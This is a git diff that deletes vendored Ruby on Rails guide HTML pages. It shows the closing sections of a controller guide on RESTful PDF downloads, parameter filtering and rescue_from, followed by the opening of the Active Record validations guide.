-<div class="para"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the <tt>show</tt> action, without any streaming:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># The user can request to receive this resource as HTML or PDF.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
-    respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-      format<span style="color: #990000">.</span>html
-      format<span style="color: #990000">.</span>pdf<span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>pdf <span style="color: #990000">=&gt;</span> generate_pdf<span style="color: #990000">(</span><span style="color: #009900">@client</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</td>
-</tr></table>
-</div>
-<div class="para"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /clients/1.pdf</tt></pre>
-</div></div>
-</div>
-<h2 id="_parameter_filtering">12. Parameter Filtering</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  filter_parameter_logging <span style="color: #990000">:</span>password
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.</p></div>
-</div>
-<h2 id="_rescue">13. Rescue</h2>
-<div class="sectionbody">
-<div class="para"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
-<h3 id="_the_default_500_and_404_templates">13.1. The Default 500 and 404 Templates</h3>
-<div class="para"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.</p></div>
-<h3 id="_tt_rescue_from_tt">13.2. <tt>rescue_from</tt></h3>
-<div class="para"><p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
-<div class="para"><p>Here's how you can use <tt>rescue_from</tt> to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  rescue_from ActiveRecord<span style="color: #990000">::</span>RecordNotFound<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>record_not_found
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> record_not_found
-    render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"404 Not Found"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">404</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  rescue_from User<span style="color: #990000">::</span>NotAuthorized<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>user_not_authorized
-
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> user_not_authorized
-    flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You don't have access to this section."</span>
-    redirect_to <span style="color: #990000">:</span>back
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Check that the user has the right authorization to access clients.</span></span>
-  before_filter <span style="color: #990000">:</span>check_authorization
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Note how the actions don't have to worry about all the auth stuff.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-private
-
-  <span style="font-style: italic"><span style="color: #9A1900"># If the user is not authorized, just throw the exception.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_authorization
-    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> User<span style="color: #990000">::</span>NotAuthorized <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> current_user<span style="color: #990000">.</span>admin?
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_changelog">14. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 4, 2008: First release version by Tore Darrell
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html
deleted file mode 100644
index 0aa507a9..00000000
--- a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html
+++ /dev/null
@@ -1,749 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Active Record Validations and Callbacks</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_motivations_to_validate_your_active_record_objects">Motivations to validate your Active Record objects</a>
-					</li>
-					<li>
-					<a href="#_how_it_works">How it works</a>
-						<ul>
-						
-							<li><a href="#_when_does_validation_happens">When does validation happens?</a></li>
-						
-							<li><a href="#_the_meaning_of_em_valid_em">The meaning of <em>valid</em></a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_the_declarative_validation_helpers">The declarative validation helpers</a>
-						<ul>
-						
-							<li><a href="#_the_tt_validates_acceptance_of_tt_helper">The <tt>validates_acceptance_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_associated_tt_helper">The <tt>validates_associated</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_confirmation_of_tt_helper">The <tt>validates_confirmation_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_each_tt_helper">The <tt>validates_each</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_exclusion_of_tt_helper">The <tt>validates_exclusion_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_format_of_tt_helper">The <tt>validates_format_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_inclusion_of_tt_helper">The <tt>validates_inclusion_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_length_of_tt_helper">The <tt>validates_length_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_numericallity_of_tt_helper">The <tt>validates_numericallity_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_presence_of_tt_helper">The <tt>validates_presence_of</tt> helper</a></li>
-						
-							<li><a href="#_the_tt_validates_uniqueness_of_tt_helper">The <tt>validates_uniqueness_of</tt> helper</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_common_validation_options">Common validation options</a>
-						<ul>
-						
-							<li><a href="#_the_tt_allow_nil_tt_option">The <tt>:allow_nil</tt> option</a></li>
-						
-							<li><a href="#_the_tt_message_tt_option">The <tt>:message</tt> option</a></li>
-						
-							<li><a href="#_the_tt_on_tt_option">The <tt>:on</tt> option</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_conditional_validation">Conditional validation</a>
-						<ul>
-						
-							<li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-						
-							<li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-						
-							<li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_writing_your_own_validation_methods">Writing your own validation methods</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Active Record Validations and Callbacks</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.</p></div>
-<div class="para"><p>After reading this guide and trying out the presented concepts, we hope that you'll be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Correctly use all the built-in Active Record validation helpers
-</p>
-</li>
-<li>
-<p>
-Create your own custom validation methods
-</p>
-</li>
-<li>
-<p>
-Work with the error messages generated by the validation proccess
-</p>
-</li>
-<li>
-<p>
-Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
-</p>
-</li>
-<li>
-<p>
-Create special classes that encapsulate common behaviour for your callbacks
-</p>
-</li>
-<li>
-<p>
-Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_motivations_to_validate_your_active_record_objects">1. Motivations to validate your Active Record objects</h2>
-<div class="sectionbody">
-<div class="para"><p>The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.</p></div>
-<div class="para"><p>There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
-</p>
-</li>
-<li>
-<p>
-Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
-</p>
-</li>
-<li>
-<p>
-Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_how_it_works">2. How it works</h2>
-<div class="sectionbody">
-<h3 id="_when_does_validation_happens">2.1. When does validation happens?</h3>
-<div class="para"><p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it'll be recorded to it's table. Active Record uses the <tt>new_record?</tt> instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>We can see how it works by looking at the following script/console output:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; p = Person.new(:name =&gt; "John Doe", :birthdate =&gt; Date.parse("09/03/1979"))
-=&gt; #&lt;Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil&gt;
-&gt;&gt; p.new_record?
-=&gt; true
-&gt;&gt; p.save
-=&gt; true
-&gt;&gt; p.new_record?
-=&gt; false</tt></pre>
-</div></div>
-<div class="para"><p>Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either <tt>save</tt>, <tt>update_attribute</tt> or <tt>update_attributes</tt>) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.</p></div>
-<h3 id="_the_meaning_of_em_valid_em">2.2. The meaning of <em>valid</em></h3>
-<div class="para"><p>For verifying if an object is valid, Active Record uses the <tt>valid?</tt> method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the <tt>errors</tt> instance method. The proccess is really simple: If the <tt>errors</tt> method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the <tt>errors</tt> collection.</p></div>
-</div>
-<h2 id="_the_declarative_validation_helpers">3. The declarative validation helpers</h2>
-<div class="sectionbody">
-<div class="para"><p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's <tt>errors</tt> collection, this message being associated with the field being validated.</p></div>
-<div class="para"><p>Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.</p></div>
-<div class="para"><p>All these helpers accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be applied and what message should be added to the <tt>errors</tt> collection when it fails, respectively. The <tt>:on</tt> option takes one the values <tt>:save</tt> (it's the default), <tt>:create</tt>  or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.</p></div>
-<h3 id="_the_tt_validates_acceptance_of_tt_helper">3.1. The <tt>validates_acceptance_of</tt> helper</h3>
-<div class="para"><p>Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this <em>acceptance</em> does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_acceptance_of <span style="color: #990000">:</span>terms_of_service
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_acceptance_of</tt> is "<em>must be accepted</em>"</p></div>
-<div class="para"><p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_acceptance_of <span style="color: #990000">:</span>terms_of_service<span style="color: #990000">,</span> <span style="color: #990000">:</span>accept <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'yes'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_tt_validates_associated_tt_helper">3.2. The <tt>validates_associated</tt> helper</h3>
-<div class="para"><p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Library <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>books
-  validates_associated <span style="color: #990000">:</span>books
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This validation will work with all the association types.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Pay attention not to use <tt>validates_associated</tt> on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.</td>
-</tr></table>
-</div>
-<div class="para"><p>The default error message for <tt>validates_associated</tt> is "<em>is invalid</em>". Note that the errors for each failed validation in the associated objects will be set there and not in this model.</p></div>
-<h3 id="_the_tt_validates_confirmation_of_tt_helper">3.3. The <tt>validates_confirmation_of</tt> helper</h3>
-<div class="para"><p>You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with <em>_confirmation</em> appended.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_confirmation_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In your view template you could use something like</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= text_field :person, :email %&gt;
-&lt;%= text_field :person, :email_confirmation %&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This check is performed only if <tt>email_confirmation</tt> is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at <tt>validates_presence_of</tt> later on this guide):</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_confirmation_of <span style="color: #990000">:</span>email
-  validates_presence_of <span style="color: #990000">:</span>email_confirmation
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_confirmation_of</tt> is "<em>doesn't match confirmation</em>"</p></div>
-<h3 id="_the_tt_validates_each_tt_helper">3.4. The <tt>validates_each</tt> helper</h3>
-<div class="para"><p>This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don't want names and surnames to begin with lower case.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_each <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>surname <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>model<span style="color: #990000">,</span> attr<span style="color: #990000">,</span> value<span style="color: #990000">|</span>
-    model<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>add<span style="color: #990000">(</span>attr<span style="color: #990000">,</span> <span style="color: #FF0000">'Must start with upper case'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> value <span style="color: #990000">=~</span> <span style="color: #FF6600">/^[a-z]/</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.</p></div>
-<h3 id="_the_tt_validates_exclusion_of_tt_helper">3.5. The <tt>validates_exclusion_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MovieFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_exclusion_of <span style="color: #990000">:</span>format<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>mov avi<span style="color: #990000">),</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Extension %s is not allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
